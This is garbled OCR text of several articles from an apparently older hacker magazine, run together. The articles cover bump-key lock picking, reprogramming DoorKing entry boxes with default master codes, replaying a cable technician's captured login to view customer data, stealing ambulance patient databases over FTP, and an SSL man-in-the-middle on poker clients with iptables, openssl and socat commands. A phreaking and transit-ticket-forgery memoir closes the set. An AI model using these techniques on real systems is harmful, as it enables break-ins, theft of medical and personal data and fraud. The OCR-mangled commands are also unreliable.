andworkarounds. Ifyou'reinterestedin learning
more | suggest that you visit http://www.
wzensur.freerk.com, http://peter

=rost.blogspot.com/2007/01/ top-
=ten-methods-to-access-blocked.

=html, orhttp://www.webstuffscan.
wcom/2006/11/23/how-to-access-

=blocked-websites-top-10. Of course,
Coogle is another great resource. Just Google
"accessing blocked websites" and
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you should have more hits than you know
what to do with. Before | end, | would like to
just make one last comment. Major props go
to Google for their Google Docs aan Spread-
sheets. | wrote this article on their online text

editor and found that it is both easy to use and)
great for writing "controversial® articles that

can't wander into the wrong hands (namely

my school's system administrator). It's a hack-

er’s best friend.

Hacking Your
Own Fron

by Cliff

The only reason | want 2600-land to know
the following is to increase your own security.
I've deliberated long and hard, and as this
information is public domain anyway and is
currently in use by the “bad guys,” | trust you
will not use it for bad purposes. Rather, using
this knowledge maliciously is wrong, stupid,
and illegal in practically every country and
community in the world, Use it instead to look
around your home, work, and possessions
and decide what additional measures (also
discussed) you wish to take,

Yale is a company that makes locks
- primarily the latch-style locks, but also
padlocks, etc. Union also make locks with
latch-style keys. You may have seen some at
work or on your patio doors. In fact, latch-
style key locks are everywhere. Sometimes
they’re connected to mortise bolts, sometimes
to padlacks, sometimes to latch locks, and all
of them can be opened by an amateur in less
than two seconds. Back up, read that again.
I can open your front door in two seconds,
leaving no trace, no force, then go to your
neighbor and do the same again. And again.
So fast that | don’t even look suspicious. | have
a skeleton key. I'm going to tell you how to
make one,

First, the science bit... quick — to the pool
table! If you have several balls touching in a
line and you fire the cue ball at one end of
the line, the ball at the other end shoots away.
If you have never tried this, it is the core of at
least half of all “trick-shots.” (Be a little creative
and you've now got a sideshow act as well as a
skeleton key - this is a good value article!)

The bit to take away is that the energy is
transferred through the chain and moves the
end ball. The same principle is involved in this
technique but you need to understand locks to

see how this is useful.

Locks have a number of pins (around
five for a house key) that are split in one of
(usually nine) positions along their length
which are spring-loaded to interrupt the rota-
tion of the mechanism (see diagram 1a and
1b for a simplified look). Inserting the (right!)
key in the lock pushes all the pins so their
splits come into line with the barrel of the
mechanism, allowing it to turn. Inserting the
wrong key leaves the pins still misaligned so
the lock won't turn. A very simple mechanism
but pure genius when you consider it, giving
5/9 combinations = 59,049 different unique
combinations of keys and locks for five pins
with nine positions.

Alas, physics has rendered every single one
of those 59,049 locks openable with one key,
plus a little bump of energy. Because of this,
these skeleton keys are called “bump” keys!

As with the pool balls, if you can introduce
sufficient energy to one end of the ball chain
(or in this case, one half of the lock pin), the
other end jumps away to absorly the energy (or,
in this case, the top half of the pin jumps out
the way, allowing the lock to turn). We do this
with a bump key. A bump key is a regular key
cut down to the lowest setting (see diagrams
2a for a normal key (my house key, in fact) and
2b (the bump key)). You can do this yourself
with a small file. If it takes you more than 20
minutes, really, you're trying too hard!

Make sure you get nice smooth slopes on
the bump key — otherwise you may make a key
that will go inta a lock but not come out again.
Very embarrassing when you have to explain
to the wife/locksmith!

However, the funnily-shaped key alone
will not open all doors... you need some bump
too, to jump all the top parts of the pins and
allow the barrel to turn. This is the low-tech bit
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Dorking‘
the

by Cadet Crusher

if you live in a newer or renovated apart-
ment building, chances are there is a tele-
phone entry system that controls visitors'
access to the building, and chances are it's
of the DoorKing brand. | have one of these
devices controlling access to my building and
itoccurred to me one day shortly after moving
in to investigate the security of such an access
control system after one of my friends used
it to enter my building. What piqued my
interest was the fact that the phone number
of the DoorKing showed up on my Caller 1D.
So | called it back. Its response was merely a
short beep followed by silence, indicating to
me that it was awaiting instruction. In order
to confirm this assumption, 1 downloaded
the operating manual, conveniently located
at http://www.dkaccess.com/English/Tele
=phone Entry/1835-065-FP-8-05.pdf, which
covers models 1833, 1834, 1835, and 1837
{figuring out what model your building has
is fairly trivial, just match your mental (or
digital) picture of your building's model with
one on the DoorKing website (www.doorking.
com)). Indeed it was awaiting command.

Basics of Programming Door-
King Telephone Entry Systems

Before we begin, a standard disclaimer is
in order: | provide this information for educa-
tional purposes and am not responsible for
what any individual may do with it.

The most important thing to note is that
a11 of the following programming steps must
be executed on the box's keypad. Dial-in
programming access is only supported via
the DoorKing Remote Account Manager
software (which | haven't had the oppor-
tunity to examine yet - more on that in the
future). Another point to note is that the box
will give you feedback as you give it instruc-
tions, a short beep will be emitted after each
successful program step, and a long beep
(beeeceeeep, as the manual states) will signal
end of programming. Lastly, you will need
the master code for the box. Conveniently
for us the factory code is 9999, If the master
code has been changed | suggest trying 1234,
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1111 - 8888, or the building's address (1
have a feeling you'll be in luck). One more
thing: when you see something like *07 in the
steps below, that means press * then 0 then 7
unless otherwise stated. Good, now we can
get to the fun stuff.

Setting Tone/Pulse Dialing

This is the easiest thing to make the box
do (as well as quite humorous). Just follow
these steps:

1) Dial *07 then the master code.

2) Dial 0* for tone dialing or 1* for pulse
dialing.

3) Press O and £ together to end the
programming cycle.

It's that easy! Now you can watch every-
one's befuddled looks as they wait for the box
to dial using pulses,

Changing Tone Open Codes

Tone open codes are what the called party
(the resident) must dial from his or her phone
to unlock the door for the guest. From the
manual:

1) Dial *05 then the master code.

2) Dial 0% 1*, or 2* to designate which
relay you wish to program. Most likely it is
Relay 0 or 0*. Each box can control three
doors/gates, one per relay,

3) Dial the new tone open code. This will
be four digits. If you want to make it one digit,
like 9, then you would dial 922#. Each #isa
blank digit. The defaults are Relay 0 = 2222,
Relayl = 9876, Relay 2 = 5432,

4) Press 0 and # together o end the
programming cycle.

I should mention what Relays 0-2 are. The
box has three relays, one relay can control
one doorfgate. We are most interested in
Relay 0 as it is the primary relay and most
likely the one controlling the door/gate we
wish to command. Now only you will know
the proper tone open code, so everyone else
will have to get up off the couch to let their
visitors in.

Other Capabilities

Programming the box from the keypad
allows for a plethora of mischief to be done.
Here are just a few things possible: changing
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four digit entry codes, setting the welcome
message, setting the door open time (how
long the relay will keep the door unlocked
after access is granted), erasing the entire
directory, and, by far the most unsettling,
reverse lookups of directory codes to resi-
dent phone numbers. All of these functions
and more can found in the manual (refer to
the URL above). Please use discretion when
exploring this system. Don't disable any of
the locks or do anything that would compro-
mise the security of the building. Remember
we're here to learn.
Conclusion
Dorking a DoorKing entry system is aston-
ishingly simple. | was surprised to find that so

by Xyzzy

Like most people | don't go looking for
trouble. I've never made a hobby of trying to
steal passwords or violate people's privacy.
But when an opportunity slaps you right in
the face, I'm as curious as the next person.
[his is the story of one of those opportunities.
I'm not here to demonstrate any elite hack,
just to share information with you about a
vulnerability at Time Warner Cable in the
hopes that this large company will do some-
thing to fix their lax security.

It all started when a Time Warner Cable
technician arrived at my house to fix intermit-
tent downtime on my cable Internet connec-
tion. After poking around and diagnosing
very little {my connection happened to be up
at the time), the technician sat down at my
laptop, opened a browser, and started typing.
Now | was interested. The technician opened
the URL tech.nyc.rr.com and logged into the
page using an htaccess window. Now if you
were me, wouldn't you wish you had a key
logger running right about now? Well, | keep
a key logger running 24/7 on my laptop, so
goad thing you're not me. Hello username
and password, nice to meet you.
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much was programmable using the keypad\
interface and a measly four digit master code.
The above examples are harmless pranks,
but the possibility for much more malicious
actions does exist. It does have an RS-32 port
tucked away behind its locked face plate
and most models have a 56k modem built
in for programming via the Remote Account
Management software, so | assume the ability
to program it via the keypad is a failsafe in
case no other programming methods are
available. Oh well, at least you can reset the
system's welcome message to let everyone in
your building know that you "pwnd this place
dood".

But just for kicks let's pretend | didn't
have a key logger running. The technician
diligently closed the browser window when
he finished, but he neglected to quit the
browser entirely. This means that his authori-
zation session was still cached. Launch your
favorite packet sniffer, reload tech.nyc.rm.com
in the browser, and voilal You have captured
the HTTP header containing the technician's
authorization login. It's hashed of course, but
we don't care. Now switch over to tel net and
connect to tech.nyc.rm.com on port 80. Simu-
late a web request with the following HTTP

commands, followed by two new lines:
GET / HTTP/1.1

Autharization: Basic <technician’'s
legin hash goes here>

Host: tech.nyc.rr.com

Congratulations, you're a spaof. N ow you
may wonder what treasures await us on this
mysterious weh page? Not much, but enough.
The "tech.nyc.rrcom” page is a diagnostic
page that shows basic information about a
Time Warner customer's account and cable
modem. The page is titled "ServiceCertificate
version 4.0.0" which is not a commercial
product as far as [ can tell (someone please
correct me if you know more). The page)
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(displays the customer's account number,
name, address, and phone number. This
is interesting, because only the customer
name, address, and phone number are used
to authenticate incoming callers on Time
Warner telephone support. Let the social
engineering begin.

The page also includes the IP and Mac
addresses of the two network interfaces on
the modem: the downstream Ethernet link
and the upstream DocSis link. It also lists the
UBR hostname that the modem connects to,
plus stats on upload and download band-
width, the modem uptime, and the modem
firmware version and firmware filename.
At the bottom is an HTML text box labeled
"Comments." | didn't play with this, but I'm
sure you can think of something fun. The
web server is running Apache version 1.3.29
and PHP version 5.0.2. Directory indexing is
turned on.

| also noted that the technician hadn't
entered any information about my account
before loading this page, meaning that the
server must use a referrer address local to my
location as the variable used to determine
what customer account to display. Hmmm,
this could be fun. Anyone interested in a
little war walking? What's to stop me from
grabbing my laptop, walking down the street
and trying this technique on any open wifi

node, thereby gleaning the account numbe?,\
customer name, address, and phone number
for that connection? My indefatigable moral
compass? Oh yes, | forgot about that.

Now comes the open letter to Time Warner
Cable:

Dear Newbs,

Here are some tips on how to improve
your security.

First, don't send passwords to servers as
clear text even if it's hashed. That's what SSL
is for.

Second, does the expression "honey pot”
mean anything to you? Prohibit your techni-

cians from using customer computers to log |
into anything. Physical access is inherently |

insecure, Write that on the board a hundred
times until you memorize it.

Next, don't include an entire customer
account dossier on any web page, password-
protected or not. If you don't understand why
this is bad practice, well then | can't explain
it to you.

Finally, don't use network addresses as
authentication variables of any kind. This is
trivial to spoof and exploit, particularly in the
age of open wifi nodes,

Oh, and please fix the intermittent down-
time on my cable connection because it's stilf
busted.

M'kay thanks.

by anonymous

For the last three plus years | have worked
for a competitor to the nation's largest private
ambulance provider, American Medical
Response. Like most people in the industry I
have learned to loathe this monster for its all-
too-corporate business strategies and its over-
whelming quest for higher profits - often at
the expense of reliable quality personnel and
equipment. Recently | completed my para-
medic internship with a paramedic preceptor
who works for AMR and | was treated to some
inside information while interning. Having a

technical background, my ears perked up
when things were being discussed and my
preceptor had no qualms about letting me
poke around here and there. In this article |
will share what I learned about AMR's field
computers during my internship.

In some regions AMR is now utilizing
notebook computers for charting purposes.
A field chart is different from an in-hospital
chart in that it contains all of the patient's
billing information as part of the medical
record recorded by medical personnel. In
other words, protected personal information
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is gathered and recorded by the EMTs and
paramedics that operate on the ambulance.
This information is then transmitted electroni-
cally to an ODBC database that the compa-
ny's billing department accesses via daily
queries and assembles invoices from the data
gathered. Because acceptable levels of secu-
rity are typically more expensive than lower
levels, AMR has, in its corporate wisdom,
chosen the latter of the two. Let's explore.

The computers used in the field as of the
time of my internship were all Itronix GoBaoks.
The company initially purchased GoBook
Is (the first generation), and has purchased
whichever model was most current ever since
then. The latest model is the GoBook IlI, but
there are plenty of GoBook lls still around.
Hardware specs are available at hitp/www.
=itronix.com and http//www.gobookiii.com/
wgh3/features htm. The interesting hardware
components include Bluetooth capability
(left active and unsecured), 802.11b/g (AMR
typically orders only 802.11b chipsets), and
CRMA cellular frequency cards. The CRMA
cards are the PC cards available from wire-
less providers such as Cingular and Verizon.
AMR uses both companies for mobile Internet
access in different regions depending on
which provider has the best coverage for a
given area. The cards are housed internally
and connect to an external antenna mounted
on the screen portion of the case. We'll come
back to this device later for a discussion of
the security holes it presents,

AMR upgraded these units to Windows
XP only over the last year or so. The official
explanation was that they feared Windows
XP would somehow not support the Access
Database front-end they use for charting.
What | find so amusing about this is that they
purchased a Windows XP Professional license
with every GoBook Il and then relied on
their Win2K corporate license for the actual
OS5 licensure. However, when they switched
to WinXP they actually purchased a corpo-
rate license to cover all of the computers that
they already had licenses for! This, of course,
means you stand a good chance of being
able to use the WinXP Pro license stuck to
the bottom of the GoBooks without getting
caught.

Now, Windows XP Pro implements Active
Directory (Duh), and AD has several security
policies that can be implemented to limit the
access users have, but you need a Domain
Controller supplying the Group Policy
Object in order to ?mre different policies
apply to different users. With the computers
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being deployed in the field constantly they)
could not be part of a domain-based network.
This posed a real problem in that Supervisors
and IT staff needed much more access to
the machine than AMR was willing to allow
their field employees to have. So someone
around on the Internet and found that
replacing the actual user GPO file you
can implement different security measures
for different users. Basically, you create two
different GPO files, one older than the other
and having tighter security, and swap them
around like this: Log on as an admin istrator
and place the newer and less secured GPO
named registry.pol in the c:\windows\
wsystem32\GroupPolicy\User\  directory.
Next, logon under each of the users you want
to give more access o (i.e., supervisors and
IT personnel). Then, logon as the admin again
and move the GPO to a different folcler and
replace it with the older registry.pol file with
more security. When the Supervisor and IT
users are logged on with the older GPO in
place it is 1Fnored because the policies that
are currently applied are newer than the
ones in the current GPO. The standard users
however are never logged on with the newer
policy in place so they implement the older,
more secure policy. Of course, these poli-
cies are typically very poorly managed and
there isn't a whole lot you'd really care to
do that a creative mind won't figure out how
to accomplish. Instead of browsing direc-
tories to launch programs create shortcuts
on the desktop. And since you can always
create a new text file on the desktop you
have complete freedom in writing batch and
Windows Script files to do your bidding.
Because AMR doesn't like their employees
goofing off on the clock they also install
ContentWatch to restrict Internet use. This
service works by restricting websites based
on their categorization in a database obtained
from an Internet server. A user logs on with a
username and password and their restriction
list is downloaded. Each site visited by Intemet
Explorer is compa sedgalnsi a database that
categorizes sites ba content (e.g.,
shopping, news, personal, adult, etc.) and
users are only allowed to view sites within
approved categories. Sites that have not
been categorized can be blocked or viewed
based upon the individual user's settings that
are applied by their administrator. Since the
restriction lists are downloaded each time a
user logs on | have not found a way to get
around this particular hurdle, it's not that |
wanted to download porn. | just wanted to
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use MySpace and "personals” are restricted.
The best way to overcome this would be
to snag a supervisor’s password since they
have free access or to find a way to kill the
program. Thus far | have been unsuccessful
in killing it, but | never tried too hard either.
Of course, if you're brave and don't mind a
traceable approach you could always down-
load FireFox via a telnet'd FTP connection,
If you intend to do this | suggest burying the
program files deep in the directory structure
and launching via an unassuming script in
the system32 or some other clogged direc-
tory. You might also want to dig the uninstall
data out of the registry so it doesn't show
up on the “Add/Remove Programs” control
panel, See, they'll trace the time stamp of
the program directory back to who was using
the computer on that date at that time, and
unfortunately the system clock is fairly well
protected.

Moving on to the ever more interesting
section where we discuss the CRMA PC cards
and how they access the Internet. The region
| am most familiar with used Cingular as a
wireless provider and Sony GC83 EDGE PC
cards. |'m not sure why, but they refuse to use
the most recent firmware versions. Rumor
has it someone somewhere had a problem
with a firmware version and had to down-
grade to fix the problem. Of course, two or
three new versions have come out since then
and AMR has yet to upgrade to the newer
versions. What | find particularly interesting
is that the Cingular network issues Class C
addresses. Couple this with the use of Real
VNC on every AMR computer and you have a
gaping security hole. If someone were to snag
the company password (I believe they have
only two passwords - one for workstations
and one for servers) they could sniff around
the Cingular network, assuming they have
a Cingular card and are in the same region,
and find a computer with port 5900 open.
The advantage to the IP addressing scheme
being Class C, for those who haven't figured
it out, is that you significantly diminish the
number of IP addresses you have to scan to
find an AMR computer. But there is another
way you can isolate an AMR computer on
this network.

As previously mentioned, AMR uses an
Access Database front-end developed in-
house to chart patient data. They have dubbed
the program MEDS. It stands for Multi-EMS
Data System. The database is unencrypted so
any user can poke around in all of the tables,
kE;rovided they can figure out how to launch
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MSACCESS.EXE. This is nice in that it stong
configuration data, including what ports the
program uses for sending and receiving in
these tables. Browse around and figure out
what ports are currently being used and query
the results of your port scan for addresses with
both the MEDS port and port 5900 open. Any
computers you find will likely be AMRs.

Exploring MEDS even more turns up a few
other interesting little quips. The data entered
into MEDS is stored in separate access tables
with a PCR ID referencing the individual chart
each piece of information is associated with.
For instance, there is a table titled MED_C that
contains the list of patient medications typed
in by a user (medications selected from a
drop down list are stored in a separate table).
Each row has three columns. The first column
is the default Primary Key and increases by a
value of one in each row, the second column
is the individual PCR ID (unique only on
that computer), and the third is the actual
text entered by a user. So to find a patient's
personal information you need only run a |
query of the appropriate tables and match the
patient's name, date of birth, address, phone
number, and Social Security Number based
on the PCR ID. It should be noted that failure
to protect this information from unauthorized
users (which includes an EMT or paramedic
authorized to use the system but not autho-
rized to view data entered by another user) is
a violation of federal law - reference HIPAA
§164.308 (a)(4), which states that users must
be prevented from accessing sensitive elec-
tronic data they do not need to access in
order to perform their duties. Basically, you
should not be able to view patient data you
did not personally enter, but you can. But to
really get at the data it's best to just steal the
whole database, something else you should
definitely not be able to do. A standard user
can run telnet, open a connection to an
FTP server, and upload "C:\Program Files\
MEDS\MEDS.mdb" (sometimes the file name
includes a version number). Older versions of
MEDS created a file in the root directory title
"PCRDATA" with no file extension. This file
had all of the PCR data on the system in plain
text, another grievous HIPPA violation. Today
the file is encrypted, a step that took only four
or five years to implement.

As you can see by doing things in-house
and under budgeting their projects AMR has
left themselves open to some pretty costly
lawsuits. With the private ambulance industry
becoming more and more competitive, they
have really taken some big chances with this
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SSL MITM Attacks on

Online Poker So

by John Smith

Although we most often associate SSL
{Secure Sockets Layer) or TLS (Transport
Layer Security) with "secure® versions of our
favorite Internet services (HTTPS, IMAPS,
SMTPS), it can be used to secure arbitrary
applications. In fact, it is used quite often
in the online gambling world to secure the
connection from the game client to the game
server. Unfortunately it is often used in an
incorrect manner, which leaves it open to
man-in-the-middle attacks, where an attacker
can read/modify/insert their own data into the
connection.

SSL provides methods for endpoint verifi-
cation and traffic privacy for network commu-
nications. Endpoint verification is done by
validating a "peer certificate” from the remote
host by checking the signature with a trusted
third- pany {such as Verisign). Traffic privacy
uses symmetric ciphers to encrypt/decrypt
data between the two hosts.

Traffic privacy is obvious - you don't want
someone with a sniffer to see your passwords
or credit card number when you're ordering
your 2600 subscription. Endpoint verifica-
tion is extremely important also, but many
developers (obviously) don't think of it. In
fact, the endpaint verification is exactly what
prevents man-in-the-middle attacks - if the
peer (remote server) that is being connected
to can't be verified, then the client should
quit. Unfortunately, this option is turned off
by default! Any client software that has this
flaw can then be attacked.

The man-in-the-middle attack consists
of three steps: redirecting network traffic,
answering requests from the client on behalf
of the server, and answering requests from the
server on behalf of the client. | chose to use
ARP-cache poisoning and iptables mangling
for the redirection, and socat to actually
execute the man-in-the-middle attack.
managed to break Virgin Poker, and City
Poker's client, viewing all client-server traffic
in clear text.

Traffic Redirection

Getting network traffic from the victim isn't
too hard. If you're on the same LAN you can
\use ARP cache poisoning or DNS hijacking.
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Rootkits are another avenue -
based rootkits for UNIX and thdows whtch
can be made to redirect network traffic to an
attacker. Insecure routers are another option;
that Linux router the neighborhood geek
set up for pizza and coke looks like a juicy
target....

My traffic redirection solution invelved a
Perl script for Nemesis, which injects unso-
licited ARP requests, and iptables packet |
mangling to rewrite the destination server |P
address/port with a local one. All you need
to do is figure out which [P the poker client
talks to and rewrite it to your waiting MITM
process. For example, City Poker uses P
200.124.137.109 port 443. If i'm running my
socat process on port 10007, the firewall rule
becomes:

echo 1 > /proc/sys/net/ipvd/ip_forward
/sbin/iptables --policy PORWARD ACCEPT
iptables -t nat -A PREROUTING -p tcp
w.d 200.124.137.109 ~--dport 443 -

wj \ REDIRECT --to-ports 10007

The first two lines allow us to forward

traffic and the third line is our firewall rule.
Man-in-the-Middle Process

Although we can roll our own man-in-
the-middle process, | chose to use socat
for simplicity. If you're going to write your
own, you simply need to have it listen for
SSL connections on one side and establish
them on the other. You will need to generate
a fake server certificate that will be given to
the client - self- s:gnedfexpued doesn't matter
since the client isn't checkm%' Here are the
commands to generate a self-signed certifi-
cate, and to set up socat to perform the MITM
logging data in cleartext to stdout:
openssl req -x509 -nodes -newkey
wraa:l024 -days 3165 -keyout
wfakacert.pea \ -out fakecert.pem
socat -v -x openssl-listen:10007,cert
wificate=,/fakecert.pem,verify=0, fork
w\ openssl:200.124.137.109:443 verify=0
w2551 | tee ./cityPokerCapture.txt

When generating the certificate, | just
chose all the defaults. The "-nodes” argument
means you don't want to enter a passphrase
{(password) for the key. The socat line sets utﬁ
an openssl-listen socket on port 10007 wi
the fake certificate we generated above. It
will log packets to stdout ("-v -x" arguments})
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Hacker

by Bill Squire
(aka BillSF)

C

>rspective |

ESEL i

Oorlof mijn arme schapen

Die zijt in groten nood

Uw herder zal niet slapen

Al zijt gif nu verstrooid!

The above is from “Het Wilhelmus”
(the Dutch national anthem), verse 14.
It's a concept and it doesn't translate well
to English. “Hacker” is a concept about
concepts, Unfortunately it doesn't translate
well to any language. My life is about turning
concepts into useful products, A hacker does
that and much more. Let's get to it.

In the 60s, AT&T ran an ad campaign:
"The telephone is not a toy." Thank you AT&T!
Vietnam, LBJ, the Cold War, and so on...
everything was a lie. So the telephone must
be the best toy ever invented! Is a greater
understatement possible?

| always wanted the other end to hang up
first so | could hear what it sounded like. That
little “pliek” trailing off in the background
was fascinating. | realized it must play the
major role in making and maintaining the
"long distance” call. Soon 1 could whistle it
and see what it could do - before the Quaker
Oats whistle and 800 numbers.

My early experimentation was only to
places my parents called. They only looked at
the “place” on the bill and if | had an “acci-
dent,” that was simply it for the day.

There was more, so much more. Some-
times after placing a "toll call® (a type of
local call) I'd hear the number | pulse-dialed
pulse-dialed a second time. There were beeps
associated with this. Other times | would
hear beeps that sounded like steel drums. |
loved the "drums” and quickly realized this
wasn't music but communications! (They
were MF tones, to be precise.) | was on to
something. The "ultra-modern” phone system
was using the same technique the primitive
“Bush people” had used for generations. It
was obvious tones were telling the other end
what to do whether | heard it or not. How did
they do it? "Ask and you shall receive.” When
everything seemed to be a lie, that biblical
t'erso was to be the truth, The little brat was

becoming an operator and learning how to
social engineer. Soon, the secret was mine.

Best of all, | was to discover | wasn't alone.,
There was this kid in sixth grade named Dan
N. He was the shortest kid in the class but
very strong and nobody messed with him,
Dan was later to tell me of someone who
could make "free calls" with sound like |
could. That man was Cap'n Crunch.

It was 1969. We were a few 12-year-old
boys and there were a few twice our age. We
knew we had something going into junior
high, but we had no idea what our impact on
society was to be.

With an age range between 11 and 14
years, junior high was the ultimate freak
show. For some of us it was a “phreak” show
and we didn't show a thing outside our tight
g;oup This was a very uneventful time in my
life.

In 1970 a very small piece in Popular
Science reported on a new payphone with
a picture of this most ugly beast. The most
important features were a single coin slot and
"silentelectronic signals to replace the familiar
sounds that currently signal the operator of
deposited coins.” Interestingly, these horrors
were to show up first where | lived. | was
going to find out what those “silent signals”
were. First, | had a friend call me at one of
these "fortress phones" while he recorded the
call. | "sacrificed” 40 cents (my lunch money)
to do this. I instructed my friend to call back
on the off chance | got the money back
and we could record the tones again. Sure
enough it returned! We were able to repeat
this several times. Don't forget: Hacking is
scientific. It was a simple matter to whip up
a simple phase-shift oscillator and amplifier
to match the frequency (quickly determined
to he 2200Hz but that isn't important). We
needed a way o gate the tone.

A small strip of copper was taped with ordi-
nary cello tape in such a way as to leave five
stripes of copper about 8mm wide exposed,
This formed, with a conducting probe, a
custom switch. With just a couple of minutes
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(gf_practice it was very easy to exactly emulate
the timings. We took turns calling a fortress
phone and comparing their tone generators
with ours. No discernible difference! We had
broken the mighty fortress within hours of
their debut. Millions of dollars AT&T spent
versus one dollar’s worth of parts. Nothing
else mattered.

{Much later they thought they got smart
and introduced 1700Hz (sometimes 1500Hz)
but somehow they missed what hackers were
able to do with CMOS. We could create
phase-shift oscillators as perfect as their L/
C oscillators. Later DTMF and MFc chips
became available and by replacing the 1Mhz
crystal with an L/C oscillator, a very close
approximation could be obtained. Red and
blue, or "rainbow" (named after a drug), boxes
were popular. These chips were extremely
expensive, but fortunately free for me, Much
later, the 5087 came out for 50 cents. A very
cheap, no effort red box! The big question:
"How much honey or maple syrup does it
take to make a "fortress phone" sound like
a 6.5536MHz crystal-based red box? The
"quarter," designed by a very competent engi-
neer, was to solve half the problem. A damn
b.5536MHz rock was still used, but replacing
that with an 1/C circuit made a perfect box.
Hackers can wind coils! Hope you kept your
back issues of 2600.]

High school finally. The principal
welcomed the new "class of '75" and warned
the returning students to be nice to us. Silicon
Valley was just beginning to form out of the
long established anchors: Lockheed Aero-
space, Hewlett-Packard, and Varian. Our
school district found itself with more money
than it could use. We were being addressed
on a newly installed closed-circuit TV system.
We were told there were 2600 students
enrolled. Very amusing in a somewhat secret
way.

}'/Ihis was going to be an interesting and
eventful year. | was to see a computer for the
first time and actually use one in real-time.
lhe “math resource center” had an "ASR33
Teletype" terminal installed. This connected
to a central timesharing machine at 110 baud.
[t was UNIX!' While new, UNIX was very easy
to use. All students were welcome to try the
new equipment. Punch cards still ruled and
“computers in the classroom” were a distant
dream for most schools.

The summer of 1971 had something
brewing that was going to forever change the
public notion of "hacker." A virtual unknown,
Don Ballanger, got busted for selling blue
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boxes to what many believe was the Mafia.
While not a “snitch,” Don was highly criti-
cized for getting busted for something few
of us believed was illegal. He was to be in
contact with Ron Rosenbaum of Esquire, a
men's magazine you'd find next to Playboy.
Ron wanted sensation. He managed to talk to
many phreaks. While the piece he published
in the October 1971 edition of Esquire
contained some bullshit, it was to lead to the
first police “hacker roundup.” The piece was
also read on Pacifica Radio’s KPFA in Berkeley
just prior to its release, possibly directed to
the “blind phreaks.” Crunch picked up a copy
at local newsstand on his way to San Jose City
College and read the rather lengthy article
without putting it down. He called Denny,
the ringleader of the blind phone phreaks,
and read it again. He apparently recorded
the call for other blind phreaks. This was the
end in one way but also a new beginning - a
whole new definition of hacker.

Myself, | was caught with what was to
later be known as a "red box," something
2600 would cover heavily almost 20 years
later. Because | was a minor, news of this in
the USA was very slight. But this didn't stop
Canada from publishing my name, since it
wasn't illegal to publish the names of minors
there. | didn't learn until later, but | was to
become their "Crunch" and start a popular
national pastime, The red box was simply a
utility that made using the blue box much
easier from most of North America. Nobody
knows where the term "blue box" actually
came from. The tone generator in one of the
massive "fortress phones® is red. Actually it's
in a pink case, possibly to keep peop le out?
Clearly, red is more manly.

Unfortunately, my boarding schoeol,
university, and much information you need to
understand me has been edited out. | don't
even have the space to tell you about seeing a
real gymnasium-sized computer in 1974.

However, before we move on to the Neth-
erlands, I'm going to outline the thought
process that was to become my defining
hack. | broke BART (Bay Area Rapid Transit)
at its weakest point: revenue collection. It
was almost as simple as a red box and has
been outlined previously in these pages.

The "BART hack" was not the first time
tickets were duplicated. Rather, it was a
rethink on how it should be done. Tradition-
ally, “criminals” used a lot of huge, heavy
machinery, sometimes even stolen ticket
vendors that weigh nearly a ton. This was to
be an ultra-simple portable device, weighing
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less than half a pound, small enough to hold
in the palm of your hand. Our intent was to
show the world that all “security” could be
defeated for less than $20. On Christmas Eve,
we made several hundred $8 tickets and just
gave them away to people. These were 100
percent real BART tickets!

In the early 90s | published an article in
2600 on how 1o do this. These were the very
plans the authorities were trying their best
to keep out of public view! You must be a
"hacker” to use them, but with a complete
understanding, it works. In the case of BART,
the card was proprietary, so powdered iron
gave us the answer. We needed full track
8mm card-reader heads. Amazingly enough,
BART dumped about 50 to a surplus shop at
the Oakland airport. At 50 cents each it was
a bargain and we bought them all. With the
powdered iron, we determined there was
another element of obscurity: The domains
were rotated 7.5 degrees.

The Washington D.C. Metro used the same
bogus IBM system as BART (both exist to this
day). We liked to play with BART by adding
fare to WM tickets! The tickets have a matrix-
printed strip that shows the user the remaining
value. (Most ticket scams are simply printed
cards sold to “greedy people”) If one was
inside the system with an “overprinted” card,
there would be some explaining to do. So this
was the solution: We would make a magnetic
stripe card (a used BART ticket with five cents
remaining) with a value of (then) $7.95, insert
in the “add-fare machine,” add five cents,
and voila, a real BART issued $8 ticket! The
$7.95 we recorded on the ticket that said
five cents remained was automatically wiped
and no one was the wiser. This was for real
and certainly not a scam. This was to be my
“ticket to fame and fortune.” "Crime" pays:
Can it be made any clearer?

While there was absolutely no criminal
intent, the BART police (glorified “rent-a-pig”
types) didn't think it was very funny, This ulti-
mately forced me to leave the USA, which |
didn't think was so funny either at time, but
was to be my “lucky break.”

Flash ta the end of the "Cold War." It was
late in 1989 and | was telling my coworkers
that the Berlin Wall was coming down, They
all thought | was nuts. Less than a week later
it happened. My plans without hesitation
were to move to Europe.

East Berlin, 31 December 1989. This was
sure to be the biggest party in the world and
it didn't disappoint. | had been “swallowed”

y Europe and separated from my American

tourist friends. B

Amsterdam, 1990. | did it! Skipped proba-
tion and even told my PO | was moving. |
think she didn't believe me and said OK.
{One less on her caseload?) | won't go into
an extradition attempt, but Holland told them
where to stick it.

I smuggled a few i386s in and many more
were to follow. This was the first micropro-
cessor that could even come close to being
a "computer." In with Linux-0.01. Xenix was
history. The Pentium was soon to follow
and while | was to play with Slackware and
RedHat, FreeBSD was looking very nice.
FreeBSD was soon to be my “online” system,
though | was to earn considerable money for
porting a RedHat distribution to Alpha, a 64-
bit platform.

I became involved with Hack-Tic Technol-
ogies, a spin-off from Hack-Tic. We sold, in
kit form, the hardware hacks. Many, like the
Demon Dialer and SemaFun (a pager/SMS
decoder) were very successful. Hack-Tic was
a short-lived publication that attempted to
bring the “look and feel” of 2600 to a Dutch
audience. Its downfall was mainly the fact
that it was in Dutch as well as the monster it
created: XS4ALL.

No Wires Needed was a company formed
to complete the development of the WLAN
| invented, which started alongside of the
BART hack in 1985. DigiCash was the holding
company for the ill-fated software patent
about all electronic payments and also the
most incredible collection of top people one
could imagine. All these patents are expired
today and everything having to do with
“Internet payments” is "prior art." DigiCash
developed the smart cards we use (every-
where except the USA). Sadly the banks felt
threatened and DigiCash folded.

Because | was founding Dutch companies,
| needed to become legal. The Vreemdelin-
genpolitie (they normally deal with "people
of color") thought it was all a big joke. | was
told to "do nothing" and let the case go to
court. This white boy from the USA had a
100 percent chance of winning. (Yes, these
are extreme right-wing fascists.) Thank you
Hanneke for your help.

To be a hacker is to devote your life to
what should be obvious. We are not “crimi-
nals” and will fight tooth and nail to get them
off our Internet. We are fighting a battle that
includes Windows, the root of all evil, along
with what has become of the fateful deci-
sion to make Internet available to low-end
computer systems. The evil simply mounts,
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ﬁut note it will be hackers, not politicians, “Online friends” is something for matua
that solve the problem, Sure, "puppets galore"  audiences, such as the all UNIX Internet (old
will take crecEt. They owe their existence to  IRC). When minds are being weakened, we
us. We can "pull the plug" - what is a "Bush  don't need any more of this swill.
